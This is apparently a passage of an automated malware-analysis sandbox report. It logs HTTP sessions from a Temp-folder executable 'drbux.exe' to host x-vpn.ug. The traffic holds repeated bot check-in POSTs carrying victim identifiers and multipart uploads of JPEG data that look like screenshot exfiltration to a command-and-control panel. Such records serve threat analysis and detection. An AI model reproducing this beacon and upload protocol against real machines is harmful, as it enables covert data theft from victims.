Jul 19, 2021 18:36:42.451692104 CEST	18810	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:42.451741934 CEST	18822	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:42.451764107 CEST	18827	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:42.584445953 CEST	18836	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:42.584625959 CEST	18878	OUT	Data Raw: 1c d2 1e 0d 02 1d da 97 b5 27 5a 51 4c 91 47 34 11 45 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f Data Ascii: 'ZQLG4EA}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}
Jul 19, 2021 18:36:42.699805975 CEST	18891	OUT	Data Raw: 56 3b 90 b6 82 57 80 80 04 a4 62 4d a4 74 f9 b7 73 f5 a0 0e 2a 8a e8 bc 41 69 71 76 62 d4 55 37 81 63 6f 2d d4 99 00 ee 61 b4 13 ea 49 1d ab 9d a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 02 Data Ascii: V;WbMtsAiqvbU7co-aI((((((((((h.k<kOZW1B0^q4LKn4<2yR m'i8V8?>6Zi-}F\|o~x<Jd#=YizWLr[0:
Jul 19, 2021 18:36:42.807096004 CEST	18892	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:42.918337107 CEST	18892	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.6	50023	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:42.586734056 CEST	18878	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:42.666227102 CEST	18879	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:42 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.6	50025	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:43.669801950 CEST	18893	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168 Host: x-vpn.ug Content-Length: 101645 Cache-Control: no-cache
Jul 19, 2021 18:36:43.669905901 CEST	18893	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:43.670114040 CEST	18903	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:43.670228004 CEST	18906	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:43.753437042 CEST	18907	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:43.767090082 CEST	18915	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:43.787266016 CEST	18932	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:43.869097948 CEST	18946	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:43.870354891 CEST	18952	OUT	Data Raw: ce 72 a2 bc df 65 3b ec 57 b1 a9 cc 9b 92 67 47 6b 6b 08 b7 bd 02 fe dc e6 10 09 0b 27 1f bc 4e 4f cb fe 73 56 bc 3f 6f 14 7a e5 bb 2d ec 12 11 bb e4 45 7c 9f 94 fa a8 15 87 1f 8d be 1b 44 93 20 f1 15 c6 25 4d 8d 9b 69 7a 6e 0d c7 ee bd 40 a9 2c Data Ascii: re;WgGkk'NOsV?oz-E\|D %Mizn@,\|y;E;:g GcXy~3?XSj,omd-/'pyMzQ&(p5h8_IfK_?i7jO8tD[&dkA;\|?
Jul 19, 2021 18:36:43.870764017 CEST	18962	OUT	Data Raw: ef a0 5d 2a a8 c9 62 54 00 3f 3a e6 ef 6c ae 74 eb c9 2d 2f 21 78 6e 22 6d af 1b 8e 41 af b3 35 15 2f a6 5d aa 82 58 c2 e0 00 39 27 69 af 34 f8 8b e1 5d 3b c5 76 4d 79 04 73 c1 a9 42 a4 ac cd 6b 22 ab 81 d9 8e de 9e fd aa a3 88 6d fb c4 ca 82 b7 Data Ascii: ]*bT?:lt-/!xn"mA5/]X9'i4];vMysBk"m\|KEpQLA[z/uIqv9>_@~-7E,eO5?w}aI\YxW4h/8"+MvOtNi( A
Jul 19, 2021 18:36:43.870830059 CEST	18981	OUT	Data Raw: 87 53 81 a6 52 8a a1 12 66 8c d3 45 2d 51 23 e9 41 a6 8a 5a 68 96 48 0d 2d 30 1a 50 6a ee 4d 89 01 a7 03 51 6e a5 dd 4d 32 6c 4b 9a 5c d4 3b a8 dd 4f 98 39 49 b7 7b d1 bf 06 a0 dd 49 b8 d1 ce 2e 42 cf 99 ef 47 99 55 f3 46 ea 39 c3 91 16 3c ca 3c Data Ascii: SRfE-Q#AZhH-0PjMQnM2lK\;O9I{I.BGUF9<<UQp,oy7{p'FuB}>arnP5!rnQKw3Fj=n%Kf>sUqNq'!zQUv.TIqz\f;4RA2GKfiA
Jul 19, 2021 18:36:43.929953098 CEST	18983	OUT	Data Raw: e2 2f ed 6e 7e cc ac 91 5a ad a4 91 33 f1 2a 05 da dc f6 c8 3f 87 bd 47 6f a9 5a d8 6a 36 97 56 56 72 a7 92 e5 9c 4d 38 73 20 3c 15 c8 50 00 c6 7b 77 a0 0b 47 c3 4c 82 d1 de e7 11 cb 6a f7 12 91 1e 4c 3b 50 36 d2 33 c9 c3 27 a7 de a8 d3 40 f3 b4 Data Ascii: /n~Z3?GoZj6VVrM8s <P{wGLjL;P63'@yo^MLA>M9'm]r^"YIC`i(o?_Pp-S{Pn{>a-pXSErKcuo5fYX91Ull

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.6	50024	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:43.731581926 CEST	18906	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:43.824455023 CEST	18933	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.6	50026	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:44.165221930 CEST	18997	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:44.249229908 CEST	18998	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.6	50027	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:44.293545961 CEST	18998	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0dc54927fe4ae0bd443133d1c42fd168 Host: x-vpn.ug Content-Length: 101645 Cache-Control: no-cache
Jul 19, 2021 18:36:44.293633938 CEST	18998	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:44.293859959 CEST	19008	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:44.293946981 CEST	19011	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:44.373941898 CEST	19012	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:44.385354996 CEST	19030	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:44.405730963 CEST	19037	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:44.467181921 CEST	19074	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:44.487373114 CEST	19080	OUT	Data Raw: 45 14 5c 03 34 e0 69 b4 66 81 0f 06 9c 0d 30 1a 50 6a 90 87 8e b4 b9 a6 83 45 51 23 a8 06 9b 4a 0d 00 3b 34 66 93 34 51 71 0e 06 9d 51 d2 e6 aa e2 b1 20 34 e0 6a 30 69 c3 34 c9 b0 fc d3 81 a8 c1 a7 6e 15 57 26 c3 e9 dd aa 2d fe d4 b9 cd 55 c5 62 Data Ascii: E\4if0PjEQ#J;4f4QqQ 4j0i4nW&-Ub@T#;4+4Nvii;PhXvj0qJRd?uiV$.j0isN 4Ra{9K7!)zaj4KJSKTe7"IKSKETHZ}DZ5G1\
Jul 19, 2021 18:36:45.358382940 CEST	19091	OUT	Data Raw: bc bc 7c b9 cf bd 45 f6 bf f6 3f 5a 4b a3 f7 7f 1a af 5e 6e 23 11 56 15 1c 62 f4 3d 1a 18 7a 72 a6 9c 96 a5 9f b5 ff 00 b1 fa d1 f6 bf f6 3f 5a ad 45 61 f5 ba dd ff 00 23 5f aa d2 ed f9 96 7e d7 fe c7 eb 47 da ff 00 d8 fd 6a b5 14 7d 6e b7 7f c8 Data Ascii: \|E?ZK^n#Vb=zr?ZEa#_~Gj}n>KY_/?j}n>GZo3hg3j[T-}~Z_[~Gj}n>KY_/?j}n>KY_kcQ .g_~j
Jul 19, 2021 18:36:45.358489037 CEST	19100	OUT	Data Raw: be 95 0e 93 6d fc ff 00 12 d5 44 92 5f d6 c7 a3 68 cd 2e 8d 69 a0 e9 7a d3 7d 8f 57 8a 6b d7 b2 4b c6 d8 d6 5b e1 02 22 e1 b1 e5 83 30 dc 37 63 1f 7b a1 c9 ce f0 e7 86 bc 4d a7 f8 cb 48 93 52 d3 35 28 23 8b 50 8e ea e1 ae 23 65 50 b1 b8 2f 29 cf Data Ascii: mD_h.iz}WkK["07c{MHR5(#P#eP/)UPy~#Eq[MBI_~&OD4+Aukt Hee#bv9 r*fxj{^=`P!p!>LjTbL9+p3@)6/%IVIsk+j4gt@Kq
Jul 19, 2021 18:36:45.358522892 CEST	19100	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 30 64 63 35 34 39 32 37 66 65 34 61 65 30 62 64 34 34 33 31 33 33 64 31 63 34 32 66 64 31 36 38 2d 2d 0d 0a Data Ascii: ------0dc54927fe4ae0bd443133d1c42fd168--

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.6	50028	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:45.498166084 CEST	19101	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:45.589729071 CEST	19101	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:36:45.798938036 CEST	19102	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----c6c3cd094a1069526294096e60e5a466 Host: x-vpn.ug Content-Length: 101565 Cache-Control: no-cache
